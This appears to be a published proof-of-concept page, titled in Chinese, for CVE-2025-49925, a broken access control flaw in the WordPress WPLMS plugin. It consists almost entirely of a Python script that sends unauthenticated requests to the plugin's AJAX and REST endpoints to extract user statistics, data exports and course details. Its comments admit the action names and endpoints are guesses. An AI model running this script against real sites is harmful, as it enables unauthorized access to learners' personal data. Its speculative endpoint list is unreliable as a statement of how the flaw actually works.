CVE-2025-49925：WordPress WPLMS插件访问控制缺陷漏洞

# CVE-2025-49925 PoC - WPLMS Broken Access Control # Vulnerability: Missing Authorization in WPLMS Plugin <= 1.9.9.7 # Type: Unauthenticated Access to Restricted Functionality import requests TARGET_URL = "http://target-wordpress-site.com" # Common WPLMS AJAX endpoints that may lack proper authorization checks ENDPOINTS = [ "/wp-admin/admin-ajax.php", "/wp-json/wplms/v1/" # Custom REST API namespace if exists ] # Example 1: Direct AJAX action exploitation def exploit_ajax_action(): """ Exploit missing authorization on WPLMS AJAX handlers. The plugin fails to verify user capabilities before processing sensitive actions such as exporting user data or accessing course info. """ url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Common WPLMS AJAX actions that may be vulnerable actions = [ "wplms_get_user_stats", "wplms_export_data", "wplms_get_course_details", "wplms_admin_dashboard_data" ] for action in actions: params = { "action": action, # Additional parameters may be required depending on the specific handler "course_id": "1", "user_id": "1" } try: response = requests.post(url, data=params, timeout=10) if response.status_code == 200 and "error" not in response.text.lower(): print(f"[+] Potential vulnerable action: {action}") print(f" Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Example 2: REST API endpoint exploitation def exploit_rest_api(): """ Exploit missing authorization on WPLMS REST API endpoints. """ url = f"{TARGET_URL}/wp-json/wplms/v1/courses" try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] REST API accessible without auth") print(f" Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print("[*] Testing CVE-2025-49925 - WPLMS Broken Access Control\n") print("[1] Testing AJAX endpoints...") exploit_ajax_action() print("\n[2] Testing REST API endpoints...") exploit_rest_api()